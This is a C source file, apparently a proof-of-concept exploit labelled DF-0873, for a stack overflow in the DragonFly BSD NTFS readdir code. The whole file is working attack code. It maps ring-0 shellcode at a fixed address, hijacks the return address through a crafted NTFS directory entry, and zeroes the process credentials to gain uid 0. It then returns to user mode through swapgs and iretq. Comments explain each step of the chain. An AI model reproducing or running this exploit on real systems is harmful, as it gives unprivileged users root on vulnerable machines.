DF-0873 / exploit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | /* * DF-0873 EXPLOIT CHAIN -- ntfs_readdir convname stack smash -> uid=0. * * Primitive (confirmed on GENERIC #0, no canary, no SMAP/SMEP/KASLR): * ntfs_readdir's convname[256] loop writes 2 bytes per wide wchar; with * ie_fnamelen=255 (u8, unvalidated) crafted wide, j reaches 320 and smashes * saved rbx/r12/r13/r14/r15/rbp + the RETURN ADDRESS at convname[312..319]. * * Chain: * 1. mmap the shellcode at a fixed low user address (all bytes <0x80): * SHELLCODE_ADDR = 0x1337000. Also a fresh user stack at 0x1400000. * 2. Craft NTFS image (craft_img.py) whose evil INDEX entry wchar stream is * 182 singles + 65 wide + 8 (shellcode-addr LE bytes) so j stops at * EXACTLY 320: convname[312..319] = shellcode addr, convname[320]=NUL. * Because j does not reach the caller's a_ncookies field (convname[320+]), * a_ncookies stays NULL -> ntfs_readdir's cookies-path panic is BYPASSED * and the function reaches `ret` with our smashed return address. * 3. getdents(dirfd, buf, 64): the ".." fake dirent fits (resid 64>=24), * then the evil entry's convname loop runs (overflow), then * vop_write_dirent(328 > 40 resid) returns 1 -> goto readdone, error * stays 0, a_ncookies NULL -> skip cookies -> vn_unlock -> return -> * `ret` -> RIP = shellcode (userspace, executable: no SMEP). * 4. Shellcode (ring 0): curthread -> td_proc -> p_ucred, zero cr_uid / * cr_ruid / cr_svuid / cr_rgid / cr_groups[0], cr_ngroups=1. * 5. swapgs + iretq to win() (user CPL3, fresh stack) -> proves uid=0. * * The shellcode is straight-line (no branches) and uses ONLY immediates + * r15 as scratch, so it is safe to memcpy to a different (fixed) address. * The binary is non-PIE (gcc 8.3 default), so $win is a fixed absolute addr. * * Run as the UNPRIVILEGED maxx user; the image is mounted (root) beforehand. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #define SHELLCODE_ADDR 0x0000000001337000ULL #define USTACK_ADDR 0x0000000001400000ULL /* win() is reached via iretq (no call), so it sees RSP%16==0. C/ABI expects * RSP%16==8 at a function entry (as if call-pushed). Set the frame RSP to * TOP-8 so win's prologue observes the ABI alignment and libc/SSE works. */ #define USTACK_TOP (USTACK_ADDR + 0x8000 - 8) #define USER_RFLAGS 0x246ULL /* IF + reserved bits set */ #define USER_CS 0x2b /* DragonFly x86_64 user CODE seg */ #define USER_SS 0x23 /* DragonFly x86_64 user DATA seg */ static volatile int g_root_flag = 0; __attribute__((noinline, aligned(4096))) static void win(void) { /* CPL3 after iretq. cr_uid is now 0. Minimal proof: exit code == uid. * The chain captures EXPLOIT_RC; 0 => root. */ uid_t u = getuid(); if (u == 0) { int fd = open("/tmp/DF0873_ROOT", O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd >= 0) { const char *m = "DF0873 uid=0\n"; write(fd, m, 12); close(fd); } } _exit(u); /* exit code = uid (0 = root) */ } /* * Ring-0 shellcode. Straight-line, no branches, immediates only -> safe to * relocate by memcpy to SHELLCODE_ADDR. * * mov rax, [gs:0] ; mycpu (per-cpu globaldata ptr) * mov rax, [rax+0x08] ; curthread * mov rdi, [rax+0xa8] ; curproc (td_proc) * mov rsi, [rdi+0x10] ; p_ucred * mov dword [rsi+0x40], 0 ; cr_uid = 0 * mov dword [rsi+0xa0], 0 ; cr_ruid = 0 * mov dword [rsi+0xa4], 0 ; cr_svuid = 0 * mov word [rsi+0x44], 1 ; cr_ngroups = 1 * mov dword [rsi+0xa8], 0 ; cr_rgid = 0 * mov dword [rsi+0x48], 0 ; cr_groups[0] = 0 * ; -- swapgs + build iretq frame (user CPL3, fresh stack) -- * swapgs * mov rsp, USTACK_TOP * mov r15, USER_SS * push r15 * mov r15, USTACK_TOP * push r15 * mov r15, USER_RFLAGS * push r15 * mov r15, USER_CS * push r15 * mov r15, win ; absolute (non-PIE) * push r15 * iretq */ __attribute__((noinline, aligned(4096))) static void shellcode(void) { __asm__ volatile( "movq %%gs:0x0, %%rax\n\t" "movq 0x08(%%rax), %%rax\n\t" /* rax = curthread */ "movq 0xa8(%%rax), %%rdi\n\t" /* curproc */ "movq 0x10(%%rdi), %%rsi\n\t" /* p_ucred */ "movl $0, 0x40(%%rsi)\n\t" /* cr_uid = 0 */ "movl $0, 0xa0(%%rsi)\n\t" /* cr_ruid = 0 */ "movl $0, 0xa4(%%rsi)\n\t" /* cr_svuid = 0 */ "movw $1, 0x44(%%rsi)\n\t" /* cr_ngroups = 1 */ "movl $0, 0xa8(%%rsi)\n\t" /* cr_rgid = 0 */ "movl $0, 0x48(%%rsi)\n\t" /* cr_groups[0] = 0 */ /* reset the lwkt token ring so the post-iretq syscall does not trip * the INVARIANTS KASSERT "extra tokens held after trap" (the hijacked * getdents leaked ~2 tokens). td_toks_stop @ +0x1d0 must equal * &td_toks_array[0] (= curthread + 0x1d8). */ "leaq 0x1d8(%%rax), %%rcx\n\t" "movq %%rcx, 0x1d0(%%rax)\n\t" "cli\n\t" /* build the iretq frame on the CURRENT (kernel) stack, then swapgs, * then iretq -- keeping the bad-state window (user gs) to one insn. */ "subq $0x30, %%rsp\n\t" "movq %[ss], 0x20(%%rsp)\n\t" "movq %[ust], 0x18(%%rsp)\n\t" "movq %[rfl], 0x10(%%rsp)\n\t" "movq %[cs], 0x08(%%rsp)\n\t" "movq %q[win], 0x00(%%rsp)\n\t" "swapgs\n\t" "iretq\n\t" : : [ust] "i" (USTACK_TOP), [ss] "i" ((uint64_t)USER_SS), [rfl] "i" (USER_RFLAGS), [cs] "i" ((uint64_t)USER_CS), [win] "i" ((uint64_t)&win) : "rax", "rcx", "rdi", "rsi", "rsp", "memory"); } __attribute__((noinline, aligned(4096))) static void shellcode_end(void) { } #define SYS_getdents 480 int main(int argc, char **argv) { const char *mp = (argc > 1) ? argv[1] : "/mnt/evil"; /* fresh user stack for the post-iretq landing */ void *ustack = mmap((void *)USTACK_ADDR, 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0); if (ustack == MAP_FAILED) { perror("mmap ustack"); return 2; } /* map the shellcode page at the fixed address the image was built for */ size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode); void *sc_page = mmap((void *)SHELLCODE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0); if (sc_page == MAP_FAILED) { perror("mmap shellcode"); return 2; } memcpy(sc_page, (void *)shellcode, sc_len); printf("[*] shellcode @ %p (len %zu), win @ %p, ustack @ %p\n", sc_page, sc_len, (void *)&win, ustack); int fd = open(mp, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open dir"); return 2; } printf("[*] opened %s fd=%d; getdents(64) -> ntfs_readdir overflow...\n", mp, fd); char buf[64]; ssize_t n = syscall(SYS_getdents, fd, buf, sizeof(buf)); /* reached only if ret was NOT hijacked */ printf("[*] getdents returned %zd; uid=%d\n", n, getuid()); close(fd); return (g_root_flag == 1) ? 0 : 1; } |